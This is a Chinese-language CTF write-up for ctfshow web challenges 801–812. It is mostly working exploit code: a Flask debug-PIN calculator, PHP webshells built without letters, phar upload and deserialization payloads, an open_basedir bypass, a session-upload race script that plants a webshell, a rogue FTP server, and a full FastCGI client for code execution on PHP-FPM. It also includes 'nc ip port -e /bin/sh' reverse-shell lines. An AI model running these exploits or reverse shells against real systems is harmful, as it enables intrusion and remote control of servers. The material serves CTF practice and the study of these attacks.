ctfshow 常见姿势
# ctfshow 常见姿势
# web801
flask pin值计算,读取文件,脚本计算pin码。梭哈
非预期:url/file?filename=/flag
预期:
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:0c:e8:a0'
address = int(address.replace(':', ''),16)
private_bits = [
f'{address}', # mac十进制值 /sys/class/net/eth0/address
'225374fa-04bc-4346-9f39-48fa82829ca934b345d280f694439fa54c01aa968eef81f55a7e5baa3e39db57884e39217606' # 看上面machine-id部分
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# web802
限制非字母数字,可以用字符,自增构造字符
构造$_GET[_]($_GET[__])
<?php
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
++$____;
++$____;
++$____;
$_____=++$____; # $_____ = E
++$____;
++$____;
$______ = $____; # $______ = G
++$___;++$___;++$___;++$___;++$___;
$_______=++$___; # $______ = T#
$________='_'.$______.$_____.$_______;
$$________[_]($$________[__]); # $_GET[_]($_GET[__])
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
简化
$___=((''/'').'')[''==_];$____=((''/'').'')[''==''];++$____;++$____;++$____;$_____=++$____;++$____;++$____;$______ = $____;++$___;++$___;++$___;++$___;++$___;$_______=++$___;$________='_'.$______.$_____.$_______;$$________[_]($$________[__]);
整个payload使用post发包,url编码一下,避免$
,=
具有特殊语意
# web803
phar文件包含,第一次接触,后续详细学习一下
这里审计起来有点奇怪,不存在$file.txt
就写一个$file
,写了$file
那$file.txt
不还是不存在?通过file_put_contents
函数直接写🐎不现实了,可以了解到这里可以通过phar打包一个$file.txt
到服务器,使文件包含成为了可能
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
2
3
4
5
6
7
生成phar文件,里面打包一个a.txt
,内容为<?php highlight_file(__FILE__);eval($_POST[1]);?>
<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
2
3
4
5
6
7
使用python发包
import requests
url="http://7fce7e3d-4206-4f91-b196-7536bde12046.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)
2
3
4
5
6
7
通过phar协议包含文件
# web804
unlink会触发反序列化
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
重点在hacker
类析构函数存在命令执行
<?php
class hacker{
public $code = 'system("tac /f*;tac f*");';
}
$a=new hacker();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "111");
$phar->stopBuffering();
?>
2
3
4
5
6
7
8
9
10
11
12
python发包
import requests
url="http://4d03da6f-da2a-4b1e-beb3-b1ad422e3af6.challenge.ctf.show/"
data1={'file':'/tmp/aa.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)
2
3
4
5
6
7
# web805
通过phpinfo()函数回显看到限定了目录,禁用了系统命令函数
open_basedir /var/www/html
disable_classes SoapClient,mysqli,mysql,pdo,phar
disable_functions system,exec,shell_exec,passthru,popen,fopen,popen,pcntl_exe
2
3
参考文章open_basedir绕过 (opens new window)
学习到一些姿势
通过glob://协议和原生类搭配利用,可以列出根目录文件
1=$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
printf($f->getFilename()." ");
}
2
3
4
尝试使用原生类读取,失败了。看了单是原生类绕不过去
$f = new SplFileObject("php://filter/convert.base64-encode/resource=/ctfshowflag");
echo $f->fread($f->getSize());
2
scandir()函数搭配glob://协议,也可以列出根目录文件
var_dump(scandir('glob:///*'));
一个绕过思路
在当前文件夹/var/www/html
里建立了子文件夹test
,进入了子文件夹test,利用ini_set函数,把/var/www/html
下的子目录test下,使用ini_set函数设置..
上一级目录,也就是/var/www/html
目录
我的思考:这里的..
存在双重含义
- /var/www/html
- ..
因此,产生了目录穿越的利用点,通过chdir函数一直切到了根目录,最后把open_basedir设置在了根目录,使highlight_file函数读取了flag成了可能
mkdir('test');
chdir('test');
var_dump(ini_set('open_basedir','..'));
chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');
var_dump(ini_set('open_basedir','/'));
highlight_file('ctfshowflag');
2
3
4
5
6
# web806
php无参RCE
只能使用无参函数
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
2
3
好在在ctfshow命令执行题单中记录了一下payload,获取最后一个定义的变量并执行,程序里最后一个定义的无法控制,可以在post里传入一个来执行
eval(array_pop(next(get_defined_vars())));
# web807
题目使用了shell_exec
函数,想尝试写文件来着,好像没有写,只能弹个shell了
https://baidu.com;nc ip port -e /bin/sh;
# web808
session文件包含,脚本条件竞争
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://092d8949-e4c3-4d0b-8478-240a371fd53c.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?file=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# web809
过滤的不够严格,上一题的脚本仍然可以跑
学习下题目的预期考察知识pear
,很新奇,第一次碰到
引入P牛师傅原话
提示
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事
先包含pear
文件,利用php的命令行参数config-create
写文件,所以payload:
payload里存在&
,+
等特殊字符,直接使用hackbar发包会被编码失去原意,导致执行失败,所以要使用bp发包
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=highlight_file(__FILE__);eval($_POST[1]);?>+/tmp/11
天马行空
# web810
SSRF打PHP-FPM
项目地址https://github.com/tarunkant/Gopherus,工具下载地址:https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
mkdir web810
cd web810
wget https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
unzip master.zip
cd Gopherus-master
python2 gopherus.py --exploit fastcgi
2
3
4
5
6
拿到的payload,在gopher://127.0.0.1:9000/
后的内容还需要再url编码一下
# web811
file_put_contents打PHP-FPM
利用FTP协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
重点在,ftp协议连接目标服务器时,目标服务器可以指定使用ftp客户端的ip和端口
那么在file_put_contents($file, $content);
函数这里,如果$file
是远程ftp服务器,在服务端进行设置,让$file
指向127.0.0.1:9000
,使用gopherus
生成一个对php-fpm利用的payload赋值给$content
这样在连接ftp服务器后,指定到127.0.0.1:9000
,php-fpm接收到$content数据包时可以实现执行命令
远程开启ftp协议
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
# "127,0,0,1"PHP-FPM服务为受害者本地,"9000"为为PHP-FPM服务的端口号
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
利用gopherus生成payload
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
nc ip port -e /bin/sh
2
3
这一题只利用下划线后面的内容,不用再次url编码,上一题url编码是因为get传参会解码一次,curl函数会解码一次,所以要多编码一次
利用:
注意,ftp协议端口后面加个斜杠,代表访问根目录
url?file=ftp://ip:21/&content=payload
# web812
PHP-FPM未授权
直接利用exp吧
点击查看
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
payload:
python3 exp.py -c '<?php system("cat /f*");?>' -p 28261 pwn.challenge.ctf.show /usr/local/lib/php/System.php
参考、致谢: